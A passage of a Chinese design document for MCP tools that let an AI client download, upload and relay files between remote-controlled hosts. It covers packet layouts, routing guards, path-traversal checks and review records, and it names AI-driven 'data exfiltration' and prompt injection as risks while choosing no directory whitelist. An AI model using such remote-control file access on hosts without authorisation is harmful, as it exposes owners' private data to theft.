void OnFileCompleteV2(uint64_t device_id, const BYTE* buf, ULONG len);// SHA-256 + filesDone 计数
bool WaitFileTransferDone(uint64_t device_id, int timeoutMs, std::vector<FileEntry>& out);
void ClearFileTransfer(uint64_t device_id); // 失败/超时/断线收尾(删半成品)
```
### 5.2 流式子连接的路由(device_id 键,镜像 `TOKEN_DRIVE_LIST` 守卫)
V2 下载的数据包 `COMMAND_SEND_FILE_V2`(85) / `COMMAND_FILE_COMPLETE_V2`(91) 本就由 `MessageHandle` 按 `ContextObject->GetClientID()` 分派(`2015RemoteDlg.cpp:5842` / `6101`)。MCP 只需在这两个 case 的 **`dstClientID==0`(M2C)分支顶部**加守卫:
```cpp
case COMMAND_SEND_FILE_V2: {
FileChunkPacketV2* pkt = (FileChunkPacketV2*)szBuffer;
if (pkt->dstClientID == 0) {
uint64_t devId = ContextObject->GetClientID();
if (McpServer().IsFileTransferPending(devId)) { // ← 新增守卫:无头接管
McpServer().OnFileChunkV2(devId, szBuffer, len);
break; // 不建 CDlgFileSend、不设 hDlg
}
// ... 原 GUI 逻辑(建 CDlgFileSend + OnReceiveComplete)不变
}
// ... C2C 分支(dstClientID != 0)完全不动
}
```
- `TOKEN_CONN_AUTH`(`6378`) **完全不动**——它只负责把 `clientID` 钉在 ctx 上,下载复用既有行为。
- `TOKEN_DRIVE_LIST`(`6430`) 既有 `IsPending(devId)` 守卫**扩展复用**:`OnDriveList` 识别当前挂起工具为 `download_file` 时,改发 `CMD_DOWN_FILES_V2` 而非 `COMMAND_LIST_FILES`,发完即 `CancelIO` 文件管理器子链接(数据走新流式子连接,§13 F3)。
- 守卫为假时全部回落原 GUI/C2C 路径——对既有功能零影响(原则 #1,§13 F7)。
---
## 6. `download_file` 设计(P1)
### 6.1 工具 Schema
```
input: {
id: string (必填, 主机 id)
remote_path: string (必填, 远程文件或目录绝对路径, 如 C:\Users\shaun\Pictures)
local_dir: string (必填, 主控本机保存目录; 不存在会自动创建)
overwrite: boolean (可选, 默认 false; true 覆盖同名文件, false 则跳过)
timeout_ms: integer (可选, 默认 600000, 上限 3600000)
}
output: {
files: [{ path: string, size: integer, sha256: string }] // 实际落盘文件
total_bytes: integer
skipped: integer
}
```
### 6.2 时序
```
MCP工具线程 服务端 MessageHandle 客户端
│ 1. BeginFileTransferPending(id,"download_file",localDir,remotePath) │
│ 2. 主连接发 COMMAND_LIST_DRIVE ────────────────────────────────────────► 开文件管理器子链接
│ 3. ◄── TOKEN_DRIVE_LIST ─────────────────────┤
│ OnDriveList → 锁外下发 CMD_DOWN_FILES_V2[targetDir\0][remote_path\0]\0 │
│ 4. ────────────────────────────────────────► UploadToRemoteV2()
│ (客户端另开一条鉴权流式子连接 ConnectServer)
│ 5. 新子连接 TOKEN_CONN_AUTH 钉 clientID → 后续分块按 device_id 守卫接管 │
│ 6. ◄── COMMAND_SEND_FILE_V2 分块流 ──────────┤
│ → OnFileChunkV2 → RecvFileChunkV2() 无头落盘
│ 7. ◄── COMMAND_FILE_COMPLETE_V2(SHA-256) ────┤
│ 8. 校验通过 → done → 唤醒工具线程 → CancelIO 两条子连接 → 返回 │
```
### 6.3 服务端改动
1. **`McpServer.h`**:新增 `FileTransferSession` 结构 + 注册表 + 接口声明(§5.1)。
2. **`McpServer.cpp`**:
- `BuildDownloadFileInputSchema/OutputSchema` + `BuildDownloadFile(...)`(`tools/call` 分派);
- `OnFileChunkV2`:**先路径校验**(chunk `filename` 规范化后仍在 `local_dir` 内,防 `..` 穿越,§13 F5)→ 调 `RecvFileChunkV2(buf,len,nullptr,nullptr,hash,hmac,0)` 无头落盘,记 `totalFiles`/进度;
- `OnFileCompleteV2`:`HandleFileCompleteV2` 校验 SHA-256 → `filesDone++`;`filesDone==totalFiles` 时置 `done` + `notify`(§13 F4);
- `hash/hmac` 镜像 `FileManagerDlg.cpp:2755` 的 `GetPwdHash()/GetHMAC(100)`,兼容客户端 M2C `hmac` 为空(`client/FileManager.cpp:1167`,§13 F6);
- `ClearFileTransfer`(发送失败/超时/断线):`CancelIO` 子链接 + 删除半成品。
3. **`2015RemoteDlg.cpp`(`MessageHandle`)**:`COMMAND_SEND_FILE_V2`(85)、`COMMAND_FILE_COMPLETE_V2`(91) 的 `dstClientID==0` 分支顶部加 `IsFileTransferPending(devId)` 守卫;`TOKEN_DRIVE_LIST` 处扩展 `OnDriveList` 识别 `download_file` 改发 `CMD_DOWN_FILES_V2`。`TOKEN_CONN_AUTH` 与 C2C 分支**完全不动**。
4. **`McpSettingsDlg.cpp/.h`**:新增 `McpFileTransfer` 配置项(默认 0)。
### 6.4 落盘与路径安全
- 发 `CMD_DOWN_FILES_V2` 前把 `local_dir` 规范化为绝对路径并 `CreateDirectory`;`targetDir` 用 ANSI(MBCS 构建本机路径)。
- 每收到一个 chunk,校验其 `filename` 规范化后**前缀必须在 `local_dir` 内**(防 `..` 穿越,呼应 `FILE_TRANSFER_V2.md §8.3` 已识别的风险);逃逸则置 `error` 并 `CancelIO`。
- 编码:`remote_path` 走 UTF-8→ANSI(936)(复用 `McpServer.cpp` 既有 `ToAnsi`,与 `list_files` 一致)。POSIX 目标端的路径规则见 §15。
### 6.5 超时与并发
- **P1 范围:同步 + 单文件/已打包目录**。一次 `tools/call` 阻塞到底,不引入 job/task 异步模型(决策见 §12)。核心场景「先 `terminal_exec` 压缩成单 zip,再 `download_file` 拉回」天然是单文件,同步足够。
- 默认 `timeout_ms=600000`、上限 3600000,因大文件远超 `kMcpToolTimeoutMs`(20s)。
- **单飞互斥(§13 F2)**:`BeginFileTransferPending` 与既有一次性 `m_Pending` **双向互斥**——下载登记时占用 `m_Pending`,反之 `BeginPending` 也检查 `m_FileXferSessions`,保证同 host 任意时刻只一个 MCP 工具在飞;并发返回 `-32003 Device busy`。
- 断线(`OfflineProc` 擦会话)+ 超时(删半成品)双收尾。
---
## 7. `upload_file` 设计(P2)
### 7.1 工具 Schema
```
input: {
id: string (必填, 目标主机 id)
local_path: string (必填, 主控本机文件或目录绝对路径; 目录递归上传)
remote_dir: string (必填, 远程主机保存目录; 不存在会自动创建)
overwrite: boolean (可选, 默认 false; true 覆盖同名文件, false 跳过)
timeout_ms: integer (可选, 默认 600000, 上限 3600000)
}
output: {
files: [{ path: string, size: integer, sha256: string }] // 已发送文件(远程完整路径);P2 sha256 恒为空串(见 §7.5)
total_bytes: integer
skipped: integer
}
```
### 7.2 方向与连接(与 download 的关键差异)
| 维度 | download_file(P1) | upload_file(P2) |
|---|---|---|
| 数据方向 | 远程客户端 → 主控 | 主控 → 远程客户端 |
| 发送方 | 客户端(`UploadToRemoteV2` → `FileBatchTransferWorkerV2`) | 主控(`FileBatchTransferWorkerV2`) |
| 连接 | 客户端**新开一条鉴权流式子连接** | 复用**主连接**(`ctx->Send2Client`),无子连接 |
| 完成信号 | 客户端发 `COMMAND_FILE_COMPLETE_V2`,服务端 `OnFileCompleteV2` 校验计数 | 服务端**作为发送方**自己发 `COMMAND_FILE_COMPLETE_V2`(SHA-256),客户端 `HandleFileCompleteV2` 校验 |
| MessageHandle 改动 | 2 处守卫分支 + `OnDriveList` 扩展 | **零改动**(客户端 `KernelManager.cpp:1381` 接收,但需懒初始化文件模块,见 §7.8) |
> **修正旧稿(§13.1 评审)**:旧稿写「只需等客户端回 `COMMAND_FILE_COMPLETE_V2`」是错的。V2 协议里 COMPLETE 包恒由**发送方**发、接收方校验,**无接收方→发送方 ACK**。upload 的服务端是发送方,故它**发** COMPLETE 而非「等」。这也意味着 upload 比 download 更简单——无需路由外来流式子连接、无需 `OnFileCompleteV2` 计数。
### 7.3 时序
```
MCP工具线程 主连接 (ctx→Send2Client) 客户端 KernelManager
1. 校验 McpFileTransfer=1 && McpReadonly=0(§8)
2. CollectLocalFiles({local_path}) 收集本机文件+目录项(目录项在前、子项随后)
3. (overwrite=false) list_files 预检 remote_dir 一层 → 得已存在顶层名 → skip 列表
4. BeginFileUpload(id) 登记会话(单设备单传输互斥标记,§6.5)
5. 同步驱动(工具线程内):FileBatchTransferWorkerV2(files, remote_dir, cb, f, hash, hmac, opts)
6. ── COMMAND_SEND_FILE_V2 分块流 ───► RecvFileChunkV2 落盘
7. ── COMMAND_FILE_COMPLETE_V2(SHA256)► HandleFileCompleteV2 校验
8. worker 同步返回 → ClearFileTransfer → 返回 files/total_bytes/skipped
```
### 7.4 服务端改动
1. **`McpServer.h`**:新增 `BeginFileUpload(id)`,登记 `FileTransferSession{tool="upload_file", startAt}` 作为**单设备单传输互斥标记**(与 `m_Pending`/`m_FileXferSessions` 互斥,见 §6.5)。upload 走主连接、工具线程**同步**驱动 `FileBatchTransferWorkerV2`,会话**无** `fmSubCtx`/`streamSubCtx`/`fileEntries`/`done` 等字段(`ClearFileTransfer` 对空指针安全)。
2. **`McpServer.cpp`**:
- `BuildUploadFileInputSchema/OutputSchema` + `BuildUploadFile(...)`(`tools/call` 分派);
- 无头回调 `UploadSendChunkHeadless(user, chunk, data, size)`:经 `UploadCallbackData{parent,clientID,deadline}` 里 `parent->FindHost(clientID)` 定位 ctx → `ctx->Send2Client(data,size)`;客户端离线或整体超时返回 false 中止(镜像 GUI `SendFileChunkToClientV2`,去掉 `dlg` 进度,见 `2015RemoteDlg.cpp:7424-7459`);
- 收集:本地 `CollectLocalFiles` 递归(`common/file_upload.cpp:38` 的 `ExpandDirectories` 未在 `file_upload.h` 导出,故在 McpServer.cpp 本地同构实现,目录项在前、子项随后);
- overwrite 预检:复用 `list_files` 的 `COMMAND_LIST_DRIVE→TOKEN_DRIVE_LIST→COMMAND_LIST_FILES→TOKEN_FILE_LIST` 机制列 `remote_dir` **一层**(顶层名,不递归),过滤同名 → `skipped`;
- 驱动:`FileBatchTransferWorkerV2(files, remote_dir, &cb, headlessCallback, nullptr, GetPwdHash(), GetHMAC(100), opts)`;`opts.transferID=GenerateTransferID()`、`srcClientID=0`、`dstClientID=clientID`、`enableResume=false`;
- 完成判定:`result==0 && FindHost(clientID)!=nullptr`(镜像 GUI `SendFilesToClientV2Internal` 末尾)。
3. **`2015RemoteDlg.cpp`(MessageHandle)**:**零改动**。
4. **`McpSettingsDlg.cpp/.h`**:零改动(`McpFileTransfer` 已存在,§8 复用)。
### 7.5 完整性边界(诚实声明)
- V2 无接收方→发送方 ACK:客户端 `HandleFileCompleteV2` 校验失败只打日志(`RecvFileChunkV2` 返回 8,`KernelManager.cpp:1381` 不回传主控)。
- **P2 的 `output.files[].sha256` 恒为空串**:`FileBatchTransferWorkerV2` 内部会为每个文件自算 SHA-256 并写入 `COMMAND_FILE_COMPLETE_V2` 包发给客户端,但该值**不回传调用方**;服务端侧又无导出的 SHA-256 工具函数可自行复算。故 P2 输出不填 sha256(延后 P3:worker 回传哈希,或服务端引入 SHA-256 工具)。传输完整性仍依赖客户端本地 `HandleFileCompleteV2` 校验(与 GUI upload / C2C 同权,属 V2 协议既有边界,非 MCP 引入)。
- 若未来需要「接收方验真回执」,需新增反向 ACK 包(协议扩展,进 P3)——**Linux 目标端的 `receiver_ack` 已实现**,复用 §14 的 176 回执(见 §15),Windows 目标端仍为 `false`。
### 7.6 overwrite 语义
- `overwrite=false`(默认):发送前用 `list_files` 预检 `remote_dir` **一层**(顶层名,不递归),本地顶层项名已存在者整体跳过(单文件精确、目录整体跳过),文件条目计入 `skipped`(目录项不计)。编码 UTF-8→ANSI(936),与 `list_files`/`download_file` 一致。
- `overwrite=true`:全量发送(客户端 `RecvFileChunkV2` 覆盖写)。
- 代价:一次预检往返;对称于 download 的「本地同名跳过」语义。
### 7.7 安全
- 门槛 `McpFileTransfer=1 && McpReadonly=0`(§8):upload 写远程盘,复用「允许写」主开关。
- `remote_dir` 路径规范化(防 `..` 穿越到预期目录之外)。`local_path` 是主控本机路径(信任本地文件系统),主要风险是 AI 误推敏感文件/覆盖远程关键文件——由 `McpReadonly=0` + 审计兜底(与 `terminal_*`/`remote_*` 同款「开关+审计」,不加目录黑名单,见 §12.1)。
### 7.8 客户端改动(实施期修正,评审见 §13.1 U7)
`RecvFileChunkV2` 依赖全局 `g_status==1`(`SimplePlugins/file_upload.cpp:2812` `if (!g_status) return -1;`),但客户端**主连接此前从不初始化文件传输模块**——`InitFileUpload` 只在 `FileManager`/`ScreenManager` 构造里成对调用(下载/屏幕方向),上传走主连接时 `g_status==0`,每个 chunk 都被 `RecvFileChunkV2` 直接丢弃(表现为落盘 0 字节 / 截断)。
修法:在 `client/KernelManager.cpp` 的 `COMMAND_SEND_FILE_V2` 分支加**懒初始化**(进程内仅一次):
```cpp
static bool s_v2RecvInited = false;
if (!s_v2RecvInited) {
InitFileUpload({}, m_LoginMsg, m_LoginSignature, 64, 50, Logf);
s_v2RecvInited = true;
}
int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn, nullptr, m_hash, m_hmac, m_MyClientID);
```
要点(独立评审结论,均为安全):
- 与 `FileManager.cpp:40` 的 Init 参数**逐字节一致**(`{}`, `m_LoginMsg`, `m_LoginSignature`, 64, 50, `Logf`),不新增路径。
- `static` 保证进程内只初始化一次,主连接重连(`ClientDll.cpp:660/665` 反复 `SAFE_DELETE`+`new CKernelManager`)不反复 Init/Uninit;`~CKernelManager` 保持原样**不** `UninitFileUpload`,故 `g_threadCount` 从 1 起永不归 0,`g_status` 恒为 1。
- `InitFileUpload` 幂等(`g_fileStatesMtx` + `g_threadCount` 引用计数,二次调用 `g_threadCount>1` 早退)、非阻塞(仅置标志 + 派生 detach 线程)、license 校验在启动期 `licenseInit()` 后必过、`verifyMessage` 对空签名 `return false`(`license.cpp:244`)不会越界。
- 影响面:主连接 `OnReceive` 无 V1 `COMMAND_SEND_FILE` 分支,`g_status=1` 只作用于 `RecvFileChunkV2`;`FileManager`/`ScreenManager` 的成对 Init/Uninit 只是在 1↔2 间震荡,语义不变。
---
## 8. 安全门
| 工具 | 定性 | 门槛 |
|---|---|---|
| `download_file` | 不改远程状态,但**数据外带** | `McpFileTransfer=1`(仅此一开关;**不依赖** `McpReadonly`,与 `list_files`/`get_screenshot` 同权) |
| `upload_file` | **写远程盘** | `McpFileTransfer=1` **且** `McpReadonly=0`(复用既有「允许写」主开关) |
- **只新增一个开关 `McpFileTransfer`(默认 0)**:download 只看它;upload 额外要求 `McpReadonly=0`。决策依据见 §12。
- `tools/list` 据此隐藏两个工具(与 `exec_command`/`terminal_*`/`remote_*` 同款开关判断)。
- 审计:`host_id + tool + remote_path + local_dir + 结果`,写 `Mprintf` + 审计日志。
---
## 9. 改动文件清单
| 文件 | 改动 |
|---|---|
| `server/2015Remote/McpServer.h` | `FileTransferSession` + 注册表 + 8 个接口声明 |
| `server/2015Remote/McpServer.cpp` | `download_file` schema/实现 + 会话状态机 + 路由分支 |
| `server/2015Remote/2015RemoteDlg.cpp` | `MessageHandle`:`COMMAND_SEND_FILE_V2`(85) / `COMMAND_FILE_COMPLETE_V2`(91) 两处守卫分支 + `TOKEN_DRIVE_LIST` 处 `OnDriveList` 扩展;`TOKEN_CONN_AUTH` 不动 |
| `server/2015Remote/McpSettingsDlg.cpp/.h` | `McpFileTransfer` 配置项 |
| (P2)`server/2015Remote/McpServer.h` | `FileTransferSession.tool` 增 `"upload_file"`;新增 `BeginFileUpload(id)`(单设备单传输互斥标记) |
| (P2)`server/2015Remote/McpServer.cpp` | `upload_file` schema/实现:无头回调 `UploadSendChunkHeadless` + `CollectLocalFiles` 收集 + overwrite 预检(复用 `list_files` 链路)+ 驱动 `FileBatchTransferWorkerV2`(复用主连接,无子连接路由) |
| (P2)`client/KernelManager.cpp` | `COMMAND_SEND_FILE_V2` 分支加懒初始化 `InitFileUpload`(`g_status` 由 0 置 1,见 §7.8) |
| (2026-10-27)`common/FileTransferV2.h` | POSIX 接收端:发送 `FileCompletePacketV2`(含流式 SHA-256)、下载失败回 `TOKEN_DOWNLOAD_ERROR`(errno→Win32 映射);见 §15 |
| (2026-10-27)`common/sha256_posix.h` | 新增:POSIX 侧最小流式 SHA-256(Windows 侧仍走 BCrypt,见 `common/VerifyV2.h`) |
**客户端**:`UploadToRemoteV2` / `RecvFileChunkV2` / `FileBatchTransferWorkerV2` 均已存在、未改动;仅 `COMMAND_SEND_FILE_V2` 分支新增懒初始化(见 §7.8)。
---
## 10. 分阶段实施与回滚
- **P1**:`download_file` + `McpFileTransfer` 开关 + 路由分支。可独立合入、独立验收(真实主机拖回一个目录,SHA-256 与 `certutil -hashfile` 比对一致)。
- **P2**:`upload_file`(§7,主连接复用 + 发送方驱动,`MessageHandle` 零改动)。可独立合入、独立验收(推一个目录到真实主机,SHA-256 与源文件 `certutil -hashfile` 比对一致)。
- **P3**(可选):断点续传(需先验证服务端续传状态落盘;文件管理器侧现 `enableResume=false`,`client/FileManager.cpp:1164`)、大文件进度流式上报。
- **回滚**:改动集中在 `McpServer.*` + `MessageHandle` 三个 `if` 分支,revert 当期 commit 即可,不影响既有 GUI 文件管理器。
---
## 11. 测试点
- 单文件 / 目录(含中文名、深层嵌套)下载;SHA-256 与 `certutil -hashfile` 比对一致。
- `overwrite=false` 同名跳过;`local_dir` 不存在自动创建。
- 路径穿越:`remote_path` 含 `..` 或 chunk 文件名逃逸 `local_dir` 时被拒。
- 大文件(>2GB)超时与断线;并发下载同主机返回 `-32003`。
- 编码:GBK 中文文件名往返无乱码(与 `list_files` 同规则)。
- 断线收尾:传输中客户端掉线 → 会话擦除 + 半成品删除,无句柄/内存泄漏。
- **上传(P2)**:单文件 / 目录(含中文名、深层嵌套)上传;`remote_dir` 不存在自动创建;SHA-256 与源文件 `certutil -hashfile` 比对一致。
- 上传 `overwrite=false` 同名跳过(`skipped` 计数);`overwrite=true` 覆盖。
- 上传 `remote_dir` 含 `..` 逃逸被拒;大文件(>2GB)超时与断线;并发上传/上传-下载同主机返回 `-32003`。
- 上传编码:GBK 中文文件名往返无乱码。
---
## 12. 决策记录(以「简单易用」为原则)
原则:最少开关、最少认知负担、复用既有机制、不为低频场景预留复杂度;只有威胁模型确实需要时才加复杂度。
### 12.1 download 数据外带 → **不加目录白名单,信任 `McpFileTransfer` + 审计**
- **威胁模型**:MCP 默认 `127.0.0.1` + token;「数据外带」的实际顾虑是 AI 误操作或提示注入。但一旦开启 `terminal_exec`(全 shell、无白名单),外带通道远大于 download,目录白名单对已开终端者是冗余防御。
- **一致性**:`terminal_*` / `remote_*` 均只有开关 + 审计、无路径白名单;给 download 单独加白名单是特例,增加解释负担。
- **简单**:工具契约保持 `id + remote_path + local_dir`,不引入「允许根目录」概念。
- **逃生舱**:若未来确有需要,复用 `McpCmdWhitelist` 那种**单字符串**配置作可选收紧项,进 P3,不进 P1。
### 12.2 大文件模型 → **P1 同步 + 大超时,收窄到单文件/已打包目录**
- MCP 是 request/response;为一次性传输引入「提交任务 + 轮询进度 + 任务清理」违背「简单 + 每阶段独立可交付」。
- 核心场景(先压缩成单 zip 再拉回)天然是单文件,同步足够;`get_screenshot` 已先例式地内联返回字节。
- 异步任务模型进 P3,且**只在确有超大流式需求时**才做,不预建。
### 12.3 upload 开关 → **单一 `McpFileTransfer`,upload 复用 `McpReadonly=0`**
- `download_file` = `McpFileTransfer=1`(不依赖 `McpReadonly`):它只读远程,与 `list_files`/`get_screenshot` 同权,readonly 语义本就只拦「改远程」。
- `upload_file` = `McpFileTransfer=1 && McpReadonly=0`:upload 改远程,复用既有「允许写」主开关,与 `terminal_*`/`remote_*` 的 `X && !Readonly` 模式一致。
- 只新增 **1 个**开关;代价是「不能只开 upload 不开 download」——这是可接受的简化(无人有此诉求)。
---
## 13. 专家审查记录(实施前)
原则优先级:① 对既有功能影响最小 → ② 简单易用 → ③ 优先 V2。逐条核对了 `2015RemoteDlg.cpp` 的 `MessageHandle` 分派、`client/FileManager.cpp` 与 `SimplePlugins/file_upload.cpp` 的实现,结论如下:
| # | 审查发现 | 结论 |
|---|---|---|
| F1 | 路由机制比草案更简单:`COMMAND_SEND_FILE_V2`(`5842`)/`COMMAND_FILE_COMPLETE_V2`(`6101`) 本就按 `ContextObject->GetClientID()` 分派,流式子连接经 `TOKEN_CONN_AUTH`(`6411 SetID`) 钉住 clientID | **无需 context 路由表**。改为 `device_id` 键 + 两个 case 顶部的 `IsFileTransferPending(devId)` 守卫,`TOKEN_CONN_AUTH` 完全不动 |
| F2 | 一次性 `m_Pending` 与新增文件会话可能并发冲突(同 host 双工具) | `BeginFileTransferPending` 与 `m_Pending` **双向互斥**,同 host 全 MCP 工具单飞 |
| F3 | 文件管理器子链接发完 `CMD_DOWN_FILES_V2` 后即无用(数据走新流式子连接) | `OnDriveList` 发完命令即 `CancelIO` 该子链接;客户端 `UploadToRemoteV2` 用独立 `IOCPClient`,不依赖它 |
| F4 | 完成信号是**每文件一个** `COMMAND_FILE_COMPLETE_V2`(`FileCompletePacketV2.fileIndex`) | 会话记 `totalFiles`(首 chunk)/`filesDone`(complete 计数),`filesDone==totalFiles` 才算 done |
| F5 | `RecvFileChunkV2` 内部直接按 chunk `filename` 落盘 | MCP 在调用**前**校验 `filename` 规范化仍在 `local_dir` 内,逃逸即取消传输 |
| F6 | `RecvFileChunkV2` 需正确 `hash/hmac` | 镜像 `FileManagerDlg.cpp:2755` 的 `GetPwdHash()/GetHMAC(100)`;客户端 M2C `hmac` 为空(`FileManager.cpp:1167`) |
| F7 | 三处改动均为「加 if 守卫 + 现有逻辑作 else」,C2C 分支不动 | 结构性满足原则 #1,对既有 GUI/C2C 零影响 |
**判定**:7 项问题均已在正文对应章节修正,无阻塞项,**定稿**。
### 13.1 upload_file 评审记录(P2,实施前)
核对了 `2015RemoteDlg.cpp` 的 `SendFilesToClientV2Internal`/`SendFileChunkToClientV2`(GUI upload 发送方)、`SimplePlugins/file_upload.cpp` 的 `FileBatchTransferWorkerV2`/`RecvFileChunkV2`、`client/KernelManager.cpp:1381` 的接收分支,结论:
| # | 审查发现 | 结论 |
|---|---|---|
| U1 | 旧稿「服务端等客户端回 `COMMAND_FILE_COMPLETE_V2`」方向写反 | COMPLETE 恒由**发送方**发、接收方 `HandleFileCompleteV2` 校验,无 ACK 回传。upload 服务端是发送方 → **发** COMPLETE,不是「等」 |
| U2 | upload 走**主连接**(`ctx->Send2Client`),不像 download 要客户端新开鉴权流式子连接 | `MessageHandle` 零改动;无需 `IsFileTransferPending` 路由守卫、无需 `OnFileCompleteV2` 收包计数 |
| U3 | 复用 `FileBatchTransferWorkerV2` 时回调需无头版 | 镜像 GUI `SendFileChunkToClientV2` 去掉 `dlg` 进度,`m_parent->FindHost(clientID)` 定位 ctx;离线返回 false 中止 |
| U4 | 完成判定无接收方回执 | `result==0 && FindHost(clientID)!=nullptr`(与 GUI `SendFilesToClientV2Internal` 末尾一致);`output.sha256` 恒为空串,非接收方验真(见 §7.5) |
| U5 | `overwrite=false` 需预知远程同名文件 | 复用 `list_files` 的 `COMMAND_LIST_DRIVE→TOKEN_DRIVE_LIST` 预检 `remote_dir`,过滤同名进 `skipped` |
| U6 | 本地文件收集 | `common/file_upload.cpp:38` `ExpandDirectories` 未在 `file_upload.h` 导出,改为 McpServer.cpp 本地 `CollectLocalFiles` 同构实现(目录项在前、子项随后) |
| U7 | 实施验证发现:客户端主连接 `g_status==0`,`RecvFileChunkV2` 逐 chunk `return -1`(上传落盘 0 字节/截断) | 客户端 `COMMAND_SEND_FILE_V2` 分支加懒初始化(§7.8):`static` 一次 + 永久引用计数、析构不 `Uninit`;与 `FileManager.cpp:40` 参数一致,独立评审确认无稳定性风险 |
**判定**:7 项均已写入 §7 对应小节,无阻塞项,**定稿**。
### 13.2 实施后修复记录(2026-10-25)
| # | 问题 | 修复 |
|---|---|---|
| R1 | **纯目录树下载必超时**:完成判定 `filesDone >= totalFiles - directoryCount` 只在 `OnFileCompleteV2` 里跑,而客户端对目录项不发 `COMMAND_FILE_COMPLETE_V2`。空目录/只有子目录的树期望文件数为 0,永远等不到 COMPLETE → 只能干等 `timeout_ms`(默认 600s)后报 `1002` | `OnFileChunkV2` 的目录分支里,`directoryCount >= totalFiles`(即全部条目都是目录)时直接置 `done` + notify。实测空目录 0.2s 返回、3 文件目录树回归正常 |
| R2 | **断线无清理 → 悬空子连接指针**:`FileTransferSession.fmSubCtx / streamSubCtx` 是裸 `context*`,`OfflineProc` 只清了终端/远程控制/聊天,没有文件传输的钩子(§6.5 声称的「断线擦会话」实现缺失)。客户端传输中掉线后 connection 被连接池回收,工具线程超时路径仍对其 `CancelIO()` → 悬空指针/误取消他人连接 | 新增 `m_FileXferContextToDevice` 反查表(受 `m_FileXferMutex` 保护,`ClearFileTransfer` 同步擦除),`OfflineProc` 增 `OnFileTransferContextClosed`:清指针并移除反查项;**流式子连接**断开即判失败(`error=1003`,立即唤醒工具线程),文件管理器子连接断开只清指针(数据走流式子连接,不判失败)。实测传输中杀掉客户端:1s 返回 `Connection lost`(原来要等满 `timeout_ms`),服务端存活;重启客户端后连续两次下载、一次上传均正常 |
---
## 14. 增补(2026-10-26):C2C 直传 `copy_files_c2c`
### 14.1 动机
运维里经常要在**两台客户端之间**拷文件。此前的变通流程是「`download_file` 拉到主控本机 → `upload_file` 再推上去」,数据在服务端磁盘上落一遍、两倍耗时。文件传输 V2 本身已经支持 C2C:`FileChunkPacketV2.dstClientID != 0` 时,服务端把包**原样中继**给目标客户端,目标端在自己的主连接上 `RecvFileChunkV2` 落盘,服务端不解析、不落盘。
但客户端现有的 C2C 入口只有一个 `COMMAND_CLIPBOARD_V2`(Ctrl+V),文件来源固定是本端剪贴板/资源管理器选中项,服务端无法指定路径。因此新增一条「服务端给源端一份显式路径清单」的命令。
### 14.2 协议(`common/commands.h` / `common/file_upload.h`)
```cpp
CLIENT_CAP_C2C_PATHS 0x0008 // LOGIN_INFOR 能力位,仅 Windows 客户端置位(源端)
CLIENT_CAP_C2C_RECV_ACK 0x0010 // 作为目标端会回执落盘结果,目前仅 Linux 客户端置位(macOS 不置位)
COMMAND_C2C_SEND_FILES = 174, // 服务端 → 源客户端主连接
TOKEN_C2C_SEND_RESULT = 175, // 源客户端 → 服务端(源端自开的传输子连接上)
TOKEN_C2C_RECV_RESULT = 176, // 目标客户端 → 服务端(目标端主连接上)
```
| 包 | 布局 | 说明 |
|---|---|---|
| `C2CSendFilesPacket` | `cmd(1) transferID(8) srcClientID(8) dstClientID(8) hash(64) hmac(16) flags(1)` = 106 B | 后接 `dst_dir\0`,再是 `path1\0 … pathN\0`,以额外一个 `\0` 结束(ANSI/936) |
| `C2CSendResultPacket` | `cmd(1) transferID(8) dstClientID(8) status(4) win32err(4) workerRc(4) fileCount(4) totalBytes(8)` = 41 B(`#pragma pack(1)`) | 175:`status` 0=全部发出、`FEV2_FILE_NOT_FOUND`/`FEV2_ACCESS_DENIED`(带首个 win32 码)、1001=发送线程失败(看 `workerRc`)。176:`status` 0=全部落盘成功,否则为映射后的 `FEV2_*`;`win32err` 位置放**首个 errno**;`workerRc` 恒 0 |
老客户端不认识 174(服务端按 `CLIENT_CAP_C2C_PATHS` 提前拒绝,`-32005` 提示升级);老服务端不认识 175/176,走 `default` 丢弃,无兼容风险。回执用**独立的 176**而不是复用 175:同一台主机可能同时是 A 传输的目标端和 B 传输的源端,复用会让服务端把回执误当成源端结果去 latch `done`。
### 14.3 客户端(`client/KernelManager.cpp`)
1. `OnC2CSendFiles`:解析 `dst_dir` 与路径清单 → `ExpandEnvironmentStringsA` 展开 `%VAR%` → 目录按 `CollectFilesRecursiveV2` 同语义**递归展开,且目录项本身也入列**(目标端据此建空目录)→ 统计 `fileCount/totalBytes`。
2. `EnsureV2TransferInited()`:`FileBatchTransferWorkerV2` 依赖进程级的 `InitFileUpload`(`g_status==1`),否则直接返回 -1。源端可能从未打开文件管理器、也没接收过上传,所以发送前显式初始化;与接收分支共用同一份 `static` 一次性初始化(`InitFileUpload`/`UninitFileUpload` 成对,重复 Init 会重置状态)。
3. 新开一个 `EnableSubConnAuth()` 的子连接 → `FileBatchTransferWorkerV2(files, targetDir=dst_dir, …, opts{dstClientID=dst, enableResume=false})`,回调即 `Send2Server`。子连接经 `TOKEN_CONN_AUTH` 校验后,服务端把它钉成源主连接的 clientID。
4. 发送结束后**在同一条子连接上**回 `C2CSendResultPacket`,然后关闭子连接。任何早退分支(路径非法/全部不可访问/连不上服务端)都先回一包结果——否则工具侧只能干等超时。
### 14.4 服务端
- **会话**:`BeginC2CTransfer(src, dst, transferID)` 把会话键在**源**设备上(`tool="copy_files_c2c"`、`dstClientID`),与 `m_Pending`、目标端文件会话双向互斥;`WaitC2CDone` 只等源端那包结果,**没有停滞看门狗**(源端全程只在最后回一包,大文件中途静默是正常的),只有总超时。
- **中继**:完全复用 `COMMAND_SEND_FILE_V2` / `COMMAND_FILE_COMPLETE_V2` 的 `dstClientID != 0` 分支,零改动。
- **必须抑制源端的进度对话框**(实施中踩到的坑):该分支原本会在源端子连接上挂一个 `CDlgFileSend` 显示进度。而 `NotifyProc` 对**挂了 `hDlg` 的连接**会把后续包交给对话框的 `OnReceiveComplete`——源端最后那包 175 就被当成 V1 文件块解析(服务端 trace 里是 `RecvFileChunk failed: 3`),MCP 侧只会超时。现在用 `IsC2CTransferPending(src, dst)` 判定:MCP 发起的 C2C 不建对话框,包照常落到 `MessageHandle`;MFC 手动 C2C(Ctrl+V / 文件管理器)行为完全不变。
- **落盘位置**:目标端收到的目录是 `dst_dir`,文件名取各路径**相对公共父目录**的部分(库内 `GetCommonRoot` 语义)。例如发 `D:\data\a.txt` 与 `D:\data\sub\`,目标是 `C:\backup`,则得到 `C:\backup\a.txt`、`C:\backup\sub\b.bin`;`dst_dir` 不存在时由接收端自动创建。
- **Windows 目标**:`dst_dir` 必须是绝对 Windows 路径(`C:\backup`),服务端补尾部 `\` 后交给源端拼接。
